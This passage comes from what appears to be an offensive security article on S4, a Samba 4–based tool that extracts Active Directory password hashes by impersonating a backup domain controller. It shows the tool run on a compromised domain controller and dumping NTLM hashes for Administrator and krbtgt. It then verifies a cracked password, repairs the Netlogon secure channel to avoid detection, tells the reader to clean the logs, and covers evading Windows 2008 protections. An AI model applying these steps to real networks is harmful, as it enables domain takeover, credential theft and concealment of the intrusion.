+++++++++++++++++++++
At this point, the only remaining thing to do is to run S4.exe!
------------------------------[ screendump ]-------------------------------
C:\WINDOWS\system32>\\DC4\SYSVOL\randomname.exe
[!!] 3 arguments are required!
\\Vboxsvr\vmware\S4.exe -p PDC_NAME -b BDC_NAME -d DOMAIN [-P password]
OR
\\Vboxsvr\vmware\S4.exe -D -d DOMAIN
C:\WINDOWS\system32>\\DC4\SYSVOL\randomname.exe -p DC3 -b DC4 -d foo.bar
Administrator:500:6F6D84B5C1DDCB7AAAD3B435B51404EE:
23DBA86EAA18933844864F24A54EBFBF:::
Guest:501:B3CC5A77A68F6477612A53E12DFC183B:
B3CC5A77A68F6477612A53E12DFC183B:::
krbtgt:502:7396CE194FA9157E5993429157021505:
3803F74802050CE62B047668F303B453:::
SUPPORT_388945a0:1001:8FCA67CF5A9FEB7DB06FDACBE2EFDEAB:
5D798B0AB3CCC22FCD7D333D06E2D785:::
DC3$:1003:C6DD50758AC2B23B9C63DFB8BC64840C:
820B5403DF3484530F644090C564E342:::
DC3$_history_0:1003:C6DD50758AC2B23B9C63DFB8BC64840C:
9CDEE73ADFA23ED3FEC2CC575EF9D0A7:::
DC4$:1108:8C6AC94AD2F708E2AAD3B435B51404EE:
F77ACB17249932BA36990D85D0F7E01A:::
DC4$_history_0:1108:CA1CDCD62E2662912950352F77B2EC2C:
5E54C47654328C3C7B541A81D6319837:::
DC4$_history_1:1108:C233128D17B4A8C47838115D84C67E42:
F77ACB17249932BA36990D85D0F7E01A:::
---------------------------------------------------------------------------
For compatibility purposes, I kept the format used by pwdump-like tools :]
Just a little test to be sure that the results are not fucked. Fire a
Python shell and compute the hash of the Administrator:
------------------------------[ screendump ]-------------------------------
>>> import hashlib,binascii
>>> hash = hashlib.new('md4', "foo123".encode('utf-16le')).digest()
>>> print binascii.hexlify(hash).upper()
23DBA86EAA18933844864F24A54EBFBF
>>>
---------------------------------------------------------------------------
And that's exactly the NTLM of the Administrator \o/
Fixing the mess
+++++++++++++++
Now be careful with what I'm about to say because it's *very* important.
Changing a BDC's machine account password using IADsUser::SetPassword()
breaks somehow the secure channel between the BDC and the PDC. Breaking the
secure channel means basically breaking the trust between DCs ultimately
resulting in a DoS (errors in logs, no more synchronization, ...). Oops :]
This can easily be seen by typing the command:
------------------------------[ screendump ]-------------------------------
C:\WINDOWS\system32>nltest /SC_CHANGE_PWD:foo.bar
I_NetLogonControl failed: Status = 5 0x5 ERROR_ACCESS_DENIED
---------------------------------------------------------------------------
The same command would *not* have failed on DC3 (or on DC4 before changing
the password). Fortunately, using the Administrator's credentials, you can
use the *very* useful netdom tool [13] to fix this problem:
------------------------------[ screendump ]-------------------------------
C:\WINDOWS\system32>netdom RESETPWD /Server:DC3 /UserD:Administrator
/PasswordD:*
Type the password associated with the domain user:
The machine account password for the local machine has been successfully
reset.
The command completed successfully.
C:\WINDOWS\system32>netdom RESET DC4
The secure channel from DC4 to the domain FOO has been reset. The
connection is with the machine \\DC3.FOO.BAR.
The command completed successfully.
---------------------------------------------------------------------------
Just to prove you that the situation is indeed fixed:
------------------------------[ screendump ]-------------------------------
C:\WINDOWS\system32>nltest /SC_CHANGE_PWD:foo.bar
nltest /SC_CHANGE_PWD:foo.bar
Flags: 0
Connection Status = 0 0x0 NERR_Success
The command completed successfully
---------------------------------------------------------------------------
We're safe! Clean the logs and leave the box :]
---[ 7 - S4 .VS. Windows 2008 Domain Controllers
While the technique implemented in S4 is very effective if the PDC is a
Windows 2003 server, it totally fails if it's a Windows 2008 (or higher)
server and this unfortunately holds even if the Domain's functional level
is "Windows Server 2003".
The first problem that I encountered was that while I was still able to
have the new machine account's NTLM propagated, the establishment of the
secure channel always failed, an "access denied" being returned by
NetrServerAuthenticate2(). Because I suspected some evolution in the
protocol, I began to look for information on Netlogon, only to discover
that Microsoft had already published its specification [10]. My bad! If I
had been more careful I would have saved time as there was no real need to
reverse nltest.exe :] Reading the specifications, I discovered something
really interesting that I had failed to notice through the reversing
process; there are different algorithms to compute the session key.
Long story short, when a client initiates a connection to the server, it
first provides its capabilities using the NegotiateFlags parameter of
NetrServerAuthenticate(). In return, the server will set this parameter to
provide his own capabilities. This is the way that they both agree on the
algorithm used to compute the session key.
There are basically three types of session keys (see section 3.1.4.3 of
[10]):
1/ AES (strong)
2/ 'Strong-Key' which is HMAC-MD5 based (weaker)
3/ DES (weak)
The third one is implemented in S4's NlMakeSessionKey() and is also the
oldest. For compatibility purposes, Windows 2003 is still accepting this
weak way of computing keys. This explains why the authentication process
was OK. Starting with Windows 2008, security has been enhanced and the
minimum required by default is now Strong-Key; I implemented it and the
authentication is now compatible with Windows 2008 :]
<Note>
There exists a workaround (Hi D.) to keep using a weak DES session key with
a Windows 2008 server. Google() the key words "NT4Emulator" and
"AllowNT4Crypto" for more details (also have a look at the GPO).
</Note>
Unfortunately this was not sufficient as NetrDatabaseSync() was now
returning a STATUS_NOT_SUPPORTED. Digging in "[MS-NRPC]: Netlogon Remote
Protocol Specification" I found the following explanation (rev 24):
-----------------------[ MS official documentation ]-----------------------
If a server does not support a specific Netlogon RPC method, it MUST return
ERROR_NOT_SUPPORTED or STATUS_NOT SUPPORTED, based on the return type
---------------------------------------------------------------------------
The revision is important because in revision 22 NetrDatabaseSync() is
documented whereas it's not anymore in revision 24. It mysteriously
disappeared... If we consider the previous quote, it seems fair to assume
that at some point the function was declared deprecated. Unfortunately the
reason is probably mentioned in revision 23 which seems currently
unavailable. Who knows, we might some day have the appropriate explanation.
However "deprecated" doesn't mean "gone" so it *might* be interesting to
reverse engineer the function ;]
Btw a little trick to help you:
------------------------------[ screendump ]-------------------------------
C:\Users\Administrator>nltest /dbflag:ffffffff
SYSTEM\CurrentControlSet\Services\Netlogon\Parameters set to 0xffffffff
Flags: 0
Connection Status = 0 0x0 NERR_Success
The command completed successfully
C:\Users\Administrator>type %WINDIR%\debug\netlogon.log
[...]
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: DC10$: Message
: dbcbaafc aba49ab9 f6bcabb5 62380816 ..............8b
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: New Password:
b6b852a3 5ec54dc9 9ea3917e c51d19fa .R...M.^~.......
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: New Digest: d4
67786d a92bd731 7da18262 3d1cdb4f mxg.1.+.b..}O..=
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: Old Password:
b6b852a3 5ec54dc9 9ea3917e c51d19fa .R...M.^~.......
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: Old Digest: d4
67786d a92bd731 7da18262 3d1cdb4f mxg.1.+.b..}O..=
[...]
---------------------------------------------------------------------------
---[ 8 - Additional details
a) Are there other alternatives to dump the AD's passwords?
Well apart from pwdump-like techniques, there is at least one more:
ntds.dit [11] file dumping. In a nutshell, this file is a Jet Blue database
holding (amongst other things) information about the users. When an LDAP
query is issued, this database is interrogated. Because it's very sensitive
(passwords are stored inside), it's both encrypted and system locked thus
it's not trivial to dump its content. I wasn't aware until recently of any
tool able to deal with it. It seems that things have changed because I've
heard some rumors. There should be at least two other alternatives, but I
won't say more. Be smart and find them yourself :]
b) What about real-life filtering & the requirement of 2 DCs??
The first requirement for the attack is the ability to execute arbitrary
commands on one of the DCs. One is enough as by design all of them are
communicating with one another without any restrictions (=filtering).
The second requirement is the existence of at least 2 DCs. Apart from tiny
corporations, there will always be at least 2 DCs (for business continuity
in case of a disaster or maintenance operation) so it's no big deal either.
c) What about Samba 4 .VS. Windows 2008?
Well, have a look at samba-4.0.0alpha18.tgz :]
---[ 9 - Last words
The original title of the paper was something like:
"The art of the laziness: exploiting the Samba 4 project"
What I wanted to highlight is that sometimes with only a few ideas and
minimal efforts you can come up with new tools & techniques. Read the S4
source code, test it, improve it and use it wisely. As they all say:
Happy Hacking! :-]
-- High 5 to my fellows
---[ 10 - Bibliography
[01] http://en.wikipedia.org/wiki/Pwdump
[02] http://en.wikipedia.org/wiki/Active_Directory
[03] http://wiki.samba.org/index.php/Samba4
[04] http://securite.intrinsec.com/2010/09/07/
rd-outil-dextraction-de-mots-de-passe-ad/
[05] http://msdn.microsoft.com/en-us/library/cc237290%28v=prot.13%29.aspx
[06] http://en.wikipedia.org/wiki/Primary_Domain_Controller
[07] http://www.microsoft.com/download/en/details.aspx?id=16770
[08] http://msdn.microsoft.com/en-us/library/cc237225%28v=prot.13%29.aspx
[09] http://msdn.microsoft.com/en-us/library/cc237082%28v=prot.13%29.aspx
[10] http://msdn.microsoft.com/en-us/library/cc237008%28v=prot.10%29.aspx
[11] http://www.stoyanoff.info/blog/2012/02/11/ad-data-store-part-1/
[12] http://en.wikipedia.org/wiki/Flexible_single_master_operation
[13] http://technet.microsoft.com/en-us/library/cc772217%28v=ws.10%29.aspx
[14] http://technet.microsoft.com/en-us/library/cc776877%28WS.10%29.aspx
---[ 11 - c0de: S4
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---[ EOF
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